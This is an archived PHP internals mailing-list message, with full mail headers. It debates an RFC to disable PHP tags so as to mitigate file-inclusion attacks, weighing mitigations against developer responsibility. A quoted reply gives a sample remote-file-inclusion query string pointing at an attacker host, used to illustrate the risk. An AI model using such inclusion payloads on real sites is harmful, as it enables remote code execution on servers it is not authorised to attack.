Newsgroups: php.internals Path: news.php.net Xref: news.php.net php.internals:59753 Return-Path: Mailing-List: contact internals-help@lists.php.net; run by ezmlm Delivered-To: mailing list internals@lists.php.net Received: (qmail 13894 invoked from network); 11 Apr 2012 21:02:23 -0000 Received: from unknown (HELO lists.php.net) (127.0.0.1) by localhost with SMTP; 11 Apr 2012 21:02:23 -0000 Authentication-Results: pb1.pair.com header.from=yohgaki@gmail.com; sender-id=pass Authentication-Results: pb1.pair.com smtp.mail=yohgaki@gmail.com; spf=pass; sender-id=pass Received-SPF: pass (pb1.pair.com: domain gmail.com designates 209.85.213.170 as permitted sender) X-PHP-List-Original-Sender: yohgaki@gmail.com X-Host-Fingerprint: 209.85.213.170 mail-yx0-f170.google.com Received: from [209.85.213.170] ([209.85.213.170:52824] helo=mail-yx0-f170.google.com) by pb1.pair.com (ecelerity 2.1.1.9-wez r(12769M)) with ESMTP id 71/54-23245-D51F58F4 for ; Wed, 11 Apr 2012 17:02:22 -0400 Received: by yenl5 with SMTP id l5so861555yen.29 for ; Wed, 11 Apr 2012 14:02:19 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:from:date :x-google-sender-auth:message-id:subject:to:cc:content-type :content-transfer-encoding; bh=bcWC14+0JyNNdlr4mUpiADLl8mxPPHzo2Q27dDSUTfs=; b=p56dVSaitV8RI7wulFz206hrpsdIgR29igvhkIVcRNqXZQGI9QFabslQgE1G1/a7Vi Ssz2XnK6vvq1nMKE0pGhxFUsyP6xuDErWDawYD0yeXBAs+I77aLY+DnXNG488Ag0VdjL 9ij9YxSn5peJLg1Mz/DyjO8LZ+VcoxzupvaLC5pb4gBO6MEwOQvv16bT3wPzFlXhXkrD IDuqKGhFymfbVcTzIez/eTaqPobK/+ZuQK2dXKUEZEZluQZ5XNzmGg1bSzyjuLPiX+Ql 7Kuwii6CE4wwTu9TS0fFerwRx1qC7RjRnS8VkmNj7FiiemxBteYrhJMkT5N9xicZWxui bpBQ== Received: by 10.236.193.39 with SMTP id j27mr14622126yhn.111.1334178139216; Wed, 11 Apr 2012 14:02:19 -0700 (PDT) MIME-Version: 1.0 Sender: yohgaki@gmail.com Received: by 10.146.86.14 with HTTP; Wed, 11 Apr 2012 14:01:38 -0700 (PDT) In-Reply-To: References: <4F850D06.10701@sugarcrm.com> <4F8515AF.8060706@sugarcrm.com> <4F851FE4.7000706@sugarcrm.com> <4F8539E0.1090701@sugarcrm.com> <4F859063.1010401@lerdorf.com> Date: Thu, 12 Apr 2012 06:01:38 +0900 X-Google-Sender-Auth: 7zK6dsO8NlrRw3IdJ8WTmNuK8Lc Message-ID: To: Kris Craig Cc: Chris Stockton , John Crenshaw , Rasmus Lerdorf , Stas Malyshev , "internals@lists.php.net" Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Subject: Re: [PHP-DEV] Re: Disabling PHP tags by php.ini and CLI options From: yohgaki@ohgaki.net (Yasuo Ohgaki) Hi, 2012/4/12 Kris Craig : > > > On Wed, Apr 11, 2012 at 1:48 PM, Yasuo Ohgaki wrote: >> >> Hi, >> >> 2012/4/12 Chris Stockton : >> > Hello, >> > >> > On Wed, Apr 11, 2012 at 10:53 AM, Kris Craig >> > wrote: >> >> I can't help but question whether we should even be worrying about >> >> LFI/RFI >> >> to begin with. =A0Personally, I would *never* check-off on code that = in >> >> any >> >> way used $_GET or $_POST directly in an include/require statement! >> >> =A0It's >> >> just plain lazy. =A0There's just no excuse for doing that. =A0Use som= e sort >> >> of >> >> dispatch or translation table. =A0Sure, it might seem less "magical,"= but >> >> it'll also protect you from some asshole hitting you with something >> >> like, >> >> "?file=3Dhttp://hacksite.com/injectedcode.php?". =A0The individual co= de >> >> developer has to take *some* responsibility for their code. =A0If thi= s is >> >> such a problem, I would think the solution would be to update our doc= s >> >> to >> >> better warn people about this type of attack and educate them on how >> >> not to >> >> write code that's vulnerable to it. >> >> >> >> We can make the language secure; but, in the end, a language is only = as >> >> smart as the person using it. >> >> >> > >> > >> > I really have a hard time understanding how this is even being >> > discussed, there is no real problem here. Making sure user input is >> > validated is a core concept of application development. How on earth >> > can you say "if you don't validate the users input, it's a security >> > problem, so php must fix it", it's the most ridiculousness argument I >> > have read on here in ages. >> >> It is the same as saying that canary protection for stack smashing >> or ASLR is useless if programmer write correct code. >> >> Don't you appreciate that compilers/OSes have additional mitigation >> factor, do you? Or would you like to disable all of these mitigation >> features from your compilers/OSes? I guess not. >> >> C language is prone to be weak for buffer overflows, hence it is >> weak to code execution and/or massive information disclosure. >> (Like private key disclosure demonstrated by MoPB) >> >> Embedded language is prone to be weak for LFI. It also leads >> to code execution and/or massive information disclosure. >> >> These weaknesses are the nature of how languages are made. >> PHP is pure embedded language and there are people trying to >> change it. If we are going to change that, it is reasonable to >> change PHP so that LFI weakness will be closed. >> >> Not closing LFI issue is sound like "We have created Java language >> which is free from memory management, but stack smashing and >> various overflow issues still remains." >> >> > >> > _IF_ you absolutely must accept arbitrary user urls from users, which >> > we all have to do at some point, you use socket functions, file >> > functions, HTTP extension, whatever you want. If you are using INCLUDE >> > you are using the WRONG TOOL. You are WRONG. >> >> Decent programmers knew the most important mitigation factor >> is input control. It is top listed as monster mitigation in SANS CWE >> TOP 25 also. I guess nobody would argue that here. >> >> > >> > _IF_ you are needing to display downloaded user data onto a page, a >> > image for example, you need to use file functions, fpassthru, >> > something of the source. If you are using INCLUDE to do this, you are >> > using the WRONG TOOL. You are WRONG. >> > >> > _IF_ you for some reason must accept LOCAL PATHS from a user, and you >> > do not want to pass that input through a validation layer, you are >> > WRONG. >> > >> > It boils down to you either use the right tools and the right >> > validation methods or I promise this is only one of unlimited possible >> > security concerns Yasuo. >> >> We are discussing PHP being stronger against LFI, if we >> are going to adopt non-ebmed mode for PHP. >> >> PHP =A0is good language for novice. Do we want them to learn >> details of LFI which is described in my RFC? How dangerous it is, >> how it could be exploited, etc. I believe it's just not worth it if we >> made PHP could work in non-embedded mode. >> >> By the way, how many people knew all the exploitation methods that >> I've written in the RFC? It's a real risk, but I guess many of us >> don't even think about or care. How we could expect novice or >> even average PHP programmer care about these risks? >> >> It's better that close window as much as possible where it is >> applicable. >> >> Regards, >> >> -- >> Yasuo Ohgaki >> yohgaki@ohgaki.net > > > But you're basically just using an "either or argument," a classic logica= l > fallacy.=A0 I.e. you're saying that, if I believe that the language shoul= dn't > be twisted to protect against every single possible vulnerability caused = by > stupid code, then I must also believe that the language should not contai= n > any security safeguards, whatsoever.=A0 That's just patently ridiculous. > > This isn't an "all or nothing" question.=A0 This particular RFC just does= n't > pass the cost/benefit test IMHO.=A0 That doesn't mean that all > security-related RFCs don't.=A0 In this case, a substantial change to the > language would have to be made, and the only benefit would be protecting > against a very narrow vulnerability that only occurs in really, REALLY ba= d > code. Why? It's fully compatible with existing code. It's as few as 3 lines of change to adopt with decent frameworks. I'm missing what made you believe it could cost too much? Regards, -- Yasuo Ohgaki yohgaki@ohgaki.net